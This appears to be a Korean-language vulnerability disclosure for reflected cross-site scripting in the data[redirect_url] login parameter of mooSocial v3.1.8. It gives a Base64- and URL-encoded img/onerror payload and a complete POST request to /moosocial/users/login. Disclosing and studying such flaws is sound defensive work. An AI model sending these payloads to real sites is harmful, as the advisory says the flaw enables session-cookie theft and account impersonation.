
mooSocial v3.1.8은 사용자 로그인 기능에서 크로스 사이트 스크립팅(cross-site scripting) 취약점이 있습니다.
mooSocial v3.1.8의 사용자 로그인 기능에 있는 data[redirect_url] 매개변수에 반사형 사이트 간 스크립팅(XSS) 취약점이 존재하며, 이를 통해 공격자는 조작된 URL로 사용자의 세션 쿠키를 탈취하고 계정을 가장할 수 있습니다.
취약한 매개변수: data[redirect_url]
Payload : test">test
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d
/moosocial/users/login에 대한 POST 요청(POST 요청 데이터만):
[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]
